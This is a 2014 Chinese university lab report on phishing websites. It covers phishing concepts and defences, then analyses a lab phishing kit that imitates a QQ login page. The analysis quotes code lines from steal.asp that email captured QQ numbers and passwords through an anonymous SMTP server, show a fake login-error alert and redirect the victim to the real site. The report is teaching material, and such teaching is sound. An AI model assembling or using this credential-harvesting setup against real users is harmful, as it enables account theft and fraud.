南京工程学院实验报告题目网站钓鱼攻击课程名称网络与信息安全技术院(系、部、中心)计算机工程学院专业网络工程班级学生姓名学号设计地点信息楼A216 指导教师毛云贵实验时间 2014年3月20日实验成绩一实验目的1.了解钓鱼攻击的概念和实现原理2.了解钓鱼网站和正常网站的区别3.提高抵御钓鱼攻击的能力二实验环境Windows,交换网络结构,UltraEdit三实验原理3.1.什么是钓鱼网站网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号ID、ATM PIN码或信用卡详细信息)的一种攻击方式。
最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。
这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们可以假冒受害者进行欺诈性金融交易,从而获得经济利益。
受害者经常遭受严重的经济损失或个人信息被窃取。
钓鱼网站通常伪装成为银行网站,窃取访问者提交的账号和密码信息。
它一般通过电子邮件传播,此类邮件中包含一个经过伪装的链接,该链接将收件人链接到钓鱼网站。
钓鱼网站的页面与真实网站界面完全一致,要求访问者提交账号和密码。
一般来说钓鱼网站结构很简单,只是一个或几个页面,URL和真实网站有细微差别,如真实的工行网站为,针对工行的钓鱼网站则可能为。
3.2.钓鱼网站的防范措施1.启用专用域名现在的网址有好几种,是一个商业性网站,而是政府网站,则是非政府组织网站。
域名不同,代表的意思也不同。
因此可以借鉴政府网站有专用域名做法,为网上银行设置专用域名。
这种作法虽然从根本上无法杜绝钓鱼网站的存在,但确实在很大程度上打击了假冒的网银网站。
2.规范搜索引擎在网银安全问题上,银行惟一能采取的办法就是投入大量的人力物力,不间断地在网上通过人工或是自动搜索同自己域名类似的假冒网站、网络实名,甚至必须介入电子邮件搜索是否有人假借银行名义行欺骗之实,即使是几个银行联合起来打假,平摊的只是成本,技术始终是个难题。
因此可以规范搜索引擎,从搜索引擎层面上来干预与网上银行域名类似的网站。
3.银行数字证书银行可以通过使用银行证书的方式来验明网上银行的正身,只有拥有正确的证书才能证明该网站是正确的网上银行而不是钓鱼网站。
4.客户安全使用网银(1)避免使用搜索引擎从正规银行网点取得网络银行网址并牢记,登录网银时尽量避免使用搜索引擎或网络实名,以免混淆视听。
(2)设置混合密码、双密码密码设置应避免与个人资料相关,建议选用数字、字母混合密码,提高密码破解难度并妥善保管,交易密码尽量与信用卡密码不同。
(3)定期查看交易记录定期查看网银办理的转帐和支付等业务记录,或通过短信定制账户变动通知,随时掌握账户变动情况。
(4)妥善保管数字证书避免在公用计算机上使用网银,以防数字证书等机密资料落入他人之手。
(5)警惕电子邮件链接网上银行一般不会通过电子邮件发出“系统维护、升级”提示,若遇重大事件,系统必须暂停服务,银行会提前公告顾客。
一旦发现资料被盗,应立即修改相关交易密码或进行银行卡挂失。
三.钓鱼网站的关键源码分析钓鱼网站的位置:“C:\ExpNIS\SocEng-Lab\Fishing\钓鱼网站\qqqet”,用UltraEdit-32可查看或编辑源码。
钓鱼网站构造比较简单,主要组成部分其实就是两个文件index.htm,steal.asp。
index.htm为钓鱼网站的前台表现页面,steal.asp为钓鱼网站的后台控制程序。
具体分析一下这两个文件。
1.index.htm文件用户使用域名“”登录钓鱼网站后,进入的页面就是index.htm,该页是钓鱼网站的表现页面,其主要完成表单提交,用户信息是否为空的验证,验证用户信息不为空的话,就将用户输入的信息传入steal.asp。
页面源码中很多都是为页面的表现形式,表现效果服务的,这些源码不做分析。
下面分析一下关键代码:上行代码解析:(1)“name”是表单的名称,这里给该表单命名为“form1”。
(2)“onsubmit="return checkinput()"”是提交表单之前执行的方法,在下一大段代码中会具体介绍checkinput()方法。
(3)“action=steal.asp”是提交表单后跳转的文件,这里是跳转到steal.asp。
(4)“method=post”是表单提交方法,该方法有两种,一种是post,一种是get。
post是隐含参数提交,就是提交的时候url中不显示用户名,密码信息。
get是显示参数提交,就是提交的时候url中显示用户名,密码信息。
上段代码大部分都是效果和表现形式,关键的部分用粗体字代替。
这段代码是建立一个文本输入框,“type=text”是给输入框的类型定义为文本形式,“name=u”是将文本输入框的名称定义为“u”,“u.value”就是文本框输入的内容。
上段代码是建立一个密码输入框,“type=password”是给输入框定义为密码形式,“name=p”是将密码输入框的名称定义为“p”,“p.value”就是密码框输入的内容。
上段代码的意思是建立一个登录的按钮,用于提交用户信息的。
表单部分的代码中onsubmit="return checkinput()"”,它的意思是调用下面这段代码。
上段代码解析:(1)“if(document.form1.u.value=="")”if条件判断,“document.form1.u.value”是取得文本框中内容,也就是QQ号码,对它进行判断,判断它的内容是不是空值,如果是空值,就执行下面{}中的内容。
(2)“alert("您还没有输入QQ号码")”alert是弹出对话框,对话框的内容是“您还没有输入QQ号码”。
(3)“document.form1.u.focus()”将鼠标焦点定位到文本框的位置。
(4)“return false”返回值是“false”,即不提交表单内容,返回“index.htm”。
2.steal.asp文件用户提交表单后,将用户信息传入steal.asp中,在steal.asp中进行业务逻辑处理。
具体处理的内容:将用户信息以邮件的形式发送到指定邮箱,弹出误导对话框,引导到正常网站。
关键代码解析:上段代码解析:代码中引用VBScript脚本语言,“u=request.form("u")”在该页取得表单提交的文本框内容,即QQ号码,定义为“u”,“p=request.form("p")”在该页取得表单提交的密码框内容,即QQ密码,定义为“p”。
下面这段代码是引用vbs脚本,功能是负发送邮件(将用户输入的内容,以邮件的形式发送到指定邮箱)。
上段关键代码解析:(1)“NameSpace="/cdo/configuration/"”定义NameSpace命名空间。
(2)“Set Email = CreateObject("CDO.Message")”开启邮件服务。
(3)“Email.From="*********************"”邮件发送方的邮箱。
(4)“Email.To="********************"”邮件接收方的邮箱。
(5)“Email.Subject = "username and password"”发送邮件的主题。
(6)“Email.Textbody = "username:" & u & " " &"password:" & p”发送邮件的具体内容,即username:“用户的QQ号码”,password:“用户的QQ密码”。
(7)“Item(NameSpace&"smtpse rver") = "172.16.0.254"”接收邮件的服务器。
(8)“Item(NameSpace&"smtpauthenticate") = 0”设置邮件发送者是否为匿名用户发送,设置为0则为匿名用户发送,若设置为0则不用设置“Email.From”的邮箱(发送者的邮箱)。
设置为1则为真实存在的用户发送,发送者的邮箱,邮箱的用户名,密码必须是真实存在的,即“Email.From”,“Item(NameSpace&"sendusername")”,“Item(NameSpace&"sendpassword")”必须设置真实存在的邮箱名,邮箱用户名,邮箱密码。
此处作为攻击用,必须设置为0。
(9)“Item(NameSpace&"sendusername") = "any"”和“Item(NameSpace&"sendpassword") = "any"”邮件发送者的邮箱用户名,因为“Item(NameSpace&"smtpauthenticate")”设置为0,所以这两句脚本没用到,用'注释掉了。
(10)“Update”将上面设置的内容在程序执行的时候更新确认。
(11)“Email.Send”邮件发送出去。
下面的代码主要是欺骗误登录钓鱼网站的用户,将用户引导到正常网站。
上段代码很多处都是html标签,用于网页显示。
关键代码是javascript 部分,解析如下:(1)“alert("用户名或密码输入错误!")”弹出提示对话框,对话框内容是“用户名或密码输入错误!”。
(2)“window.location="";”将用户引导到正常网站,用的是javascript中“window.location”方法。
用法就是window.location=“要跳转到的地址(域名或ip地址)”。
钓鱼网站关键的源码分析完毕,正常网站的源码只有一个index.htm文件,和钓鱼网站中的index.htm文件类似,不做具体分析。
四实验方法及步骤本练习主机A、B、C为一组,D、E、F为一组,下面以主机A、B、C为例,说明实验步骤首先使用“快照X”恢复Windows系统环境。
一.初始化环境的准备1.主机A的操作(1)主机A配置Outlook Express邮箱,建立邮件帐户(参见附录A-Outlook Express配置方法)。